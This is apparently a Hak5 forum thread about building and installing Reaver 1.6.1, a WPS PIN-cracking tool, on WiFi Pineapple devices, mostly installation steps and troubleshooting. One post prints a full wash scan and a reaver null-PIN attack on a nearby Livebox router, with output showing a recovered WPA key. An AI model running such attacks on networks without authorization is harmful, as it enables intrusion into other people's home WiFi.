Zylla Posted August 19, 2017 Share Posted August 19, 2017 (edited) Reaver 1.6 As you may or may not know Reaver have gone approx. two years without updates. It recently got a big update v1.6 I haven't heard or seen anything about the newest version being compiled for our devices, so i took matters into my own hands and managed to compile it properly. I thought it'd be smart to make a thread about it, where people can post any bugs/issues that they're experiencing, and i'll see if i can get it fixed. But also to let people know that there exist a new and improved version now. My GitHub repo. contains the Makefile needed to compile it with OpenWRT-SDK, and it also contains the IPK-file needed to install it to your device.Repo: https://github.com/adde88/reaver-1.6.1-openwrtIPK-file: https://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk Installation instructions: The first window shows an installation to the local-storage, and the second window installs to the SD-card. Open a SSH terminal to your Pineapple, and follow the commands as outlined below:#1: root@Pineapple:~# cd /tmp root@Pineapple:~# wget https://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk root@Pineapple:~# opkg update root@Pineapple:~# opkg install reaver_1.6.1-1_ar71xx.ipk --force-downgrade #2: root@Pineapple:~# cd /tmp root@Pineapple:~# wget https://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk root@Pineapple:~# opkg update root@Pineapple:~# opkg install reaver_1.6.1-1_ar71xx.ipk --dest sd --force-downgrade If you get an error about checksum not matching, you can add the following string (without quotes) to the last command: "--force-checksum" I also HIGHLY suggest that you install the newest updated version of libpcap, which fixes alot of issues with Reaver. Sadly, it's not found on Hak5's repositories at the time i'm writing this. To get libpcap updated i suggest you follow the instuctions outlined in this thread:https://forums.hak5.org/topic/38183-official-wps/?page=3 Edited August 21, 2017 by Zylla 4 Quote Link to comment Share on other sites More sharing options...
Netask Posted August 19, 2017 Share Posted August 19, 2017 Thanks for your work @Zylla, i search for how to install an ipk file for pineapple, do you have a link ?thank you Quote Link to comment Share on other sites More sharing options...
Zylla Posted August 19, 2017 Author Share Posted August 19, 2017 57 minutes ago, Netask said: Thanks for your work @Zylla, i search for how to install an ipk file for pineapple, do you have a link ?thank you I've edited the post and added instructions. :) 1 Quote Link to comment Share on other sites More sharing options...
Just_a_User Posted August 19, 2017 Share Posted August 19, 2017 Been testing it this afternoon. I have worked through some devices and so far I don't have one vulnerable to the null pin (-p "") attack. either way no errors so far with various options tried. Thank you again. Quote Link to comment Share on other sites More sharing options...
b0N3z Posted August 20, 2017 Share Posted August 20, 2017 Not downgrading package reaver on root from Big_endian-1 to 1.6.1-1. I get this error after $ opkg install reaver_1....... (etc). I tried downloading and using filezilla to get it on the pineapple and also used @Zylla #1 option because its the Tetra. Quote Link to comment Share on other sites More sharing options...
Just_a_User Posted August 20, 2017 Share Posted August 20, 2017 4 hours ago, b0N3z said: Not downgrading package reaver on root from Big_endian-1 to 1.6.1-1. I get this error after $ opkg install reaver_1....... (etc). I tried downloading and using filezilla to get it on the pineapple and also used @Zylla #1 option because its the Tetra. I had that message but its not a downgrade its and upgrade really not sure why the warning is there - but i ran the --force-downgrde option and it installed OK. Quote Link to comment Share on other sites More sharing options...
Zylla Posted August 20, 2017 Author Share Posted August 20, 2017 (edited) 1 hour ago, Just_a_User said: I had that message but its not a downgrade its and upgrade really not sure why the warning is there - but i ran the --force-downgrde option and it installed OK. It's the version-numbering being used on the old Reaver (Big_endian), which confuses OPKG. To remove the old one, you can do this before installing: opkg remove reaver I've also edited the instructions, and added --force-downgrade. in case people have Reaver installed. Edited August 20, 2017 by Zylla 1 1 Quote Link to comment Share on other sites More sharing options...
Netask Posted August 20, 2017 Share Posted August 20, 2017 On 19/08/2017 at 11:23 AM, Zylla said: root@Pineapple:~# cd /tmp root@Pineapple:~# wget https://github.com/adde88/reaver-1.6.1-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.1-1_ar71xx.ipk root@Pineapple:~# opkg update root@Pineapple:~# opkg install reaver_1.6.1-1_ar71xx.ipk --force-downgrade hi, After installation I have a message when I start reaver :( root@Pineapple:/tmp# opkg install reaver_1.6.1-1_ar71xx.ipk --force-downgrade Installing reaver (1.6.1-1) to root... Configuring reaver. root@Pineapple:/tmp# reaver reaver: can't load library 'libpcap.so.1' root@Pineapple:/tmp# wash wash: can't load library 'libpcap.so.1' root@Pineapple:/tmp# Quote Link to comment Share on other sites More sharing options...
Just_a_User Posted August 21, 2017 Share Posted August 21, 2017 (edited) 12 hours ago, Netask said: After installation I have a message when I start reaver :( did you install Zylla's updated libpcap-1.8.1 from this post? Edited August 21, 2017 by Just_a_User 1 Quote Link to comment Share on other sites More sharing options...
Netask Posted August 25, 2017 Share Posted August 25, 2017 On 21/08/2017 at 0:43 PM, Just_a_User said: did you install Zylla's updated libpcap-1.8.1 from this post? hi, I have updated libpcap and it works :). Thanks @Just_a_User for your help and @Zylla for your work. root@Pineapple:~# wash -i wlan1mon Wash v1.6.1 WiFi Protected Setup Scan Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner BSSID Ch dBm WPS Lck ESSID -------------------------------------------------------------------------------- A0:1B:29:XX:XX:XX 1 -76 1.0 No Livebox-26XX B0:B2:8F:XX:XX:XX 6 -76 1.0 No Livebox-66XX AC:84:C9:XX:XX:XX 6 -85 1.0 No Livebox-C5XX root@Pineapple:~# reaver -i wlan1mon -b A0:1B:29:XX:XX:XX -p "" -c 1 -vv Reaver v1.6.1 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> [+] Switching wlan1mon to channel 1 [+] Waiting for beacon from A0:1B:29:XX:XX:XX [+] Associated with A0:1B:29:XX:XX:XX (ESSID: Livebox-26XX) [+] Trying pin "" [+] Sending EAPOL START request [+] Received identity request [+] Sending identity response [+] Received M1 message [+] Sending M2 message [+] Received M3 message [+] Sending M4 message [+] Received M5 message [+] Sending M6 message [+] Received M7 message [+] Sending WSC NACK [+] Sending WSC NACK [+] Pin cracked in 4 seconds [+] WPS PIN: '' [+] WPA PSK: 'XXXX712799XXXX' [+] AP SSID: 'Livebox-26XX' [*] String pin was specified, nothing to save. 1 Quote Link to comment Share on other sites More sharing options...
brand Posted January 31, 2018 Share Posted January 31, 2018 Changed URL to https://github.com/adde88/reaver-openwrt/raw/master/bin/ar71xx/packages/base/reaver_1.6.4-1_ar71xx.ipk Getting this error No packages removed. root@Pineapple:/tmp# opkg install reaver_1.6.4-1_ar71xx.ipk --dest sd --force-downgrade Installing reaver (1.6.4-1) to sd... Configuring reaver. grep: /usr/lib/opkg/info/reaver.control: No such file or directory cat: can't open '/usr/lib/opkg/info/reaver.list': No such file or directory Quote Link to comment Share on other sites More sharing options...
brand Posted January 31, 2018 Share Posted January 31, 2018 I'm sure this is terrible but I seemed to fix with ln -s /sd/usr/lib/opkg/info/reaver.list /usr/lib/opkg/info/reaver.list ln -s /sd/usr/lib/opkg/info/reaver.control /usr/lib/opkg/info/reaver.control Quote Link to comment Share on other sites More sharing options...
Zylla Posted January 31, 2018 Author Share Posted January 31, 2018 That «error» is displayed on every IPK installed on the Nano (because of the overlay filesystem). It can safely be ignored, and causes no errors with the installed software. Quote Link to comment Share on other sites More sharing options...
Rinilyn Posted January 31, 2018 Share Posted January 31, 2018 sorry im being very lazy but i also noticed the wps module has an update button near it. is this the same package? i Quote Link to comment Share on other sites More sharing options...
Zylla Posted January 31, 2018 Author Share Posted January 31, 2018 Just now, Rinilyn said: sorry im being very lazy but i also noticed the wps module has an update button near it. is this the same package? i Nah, this is just a project i'm trying to keep up-to-date privately. It doesn't sync with the WPS module to my knowledge. Neiter am i the author of said module :) Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.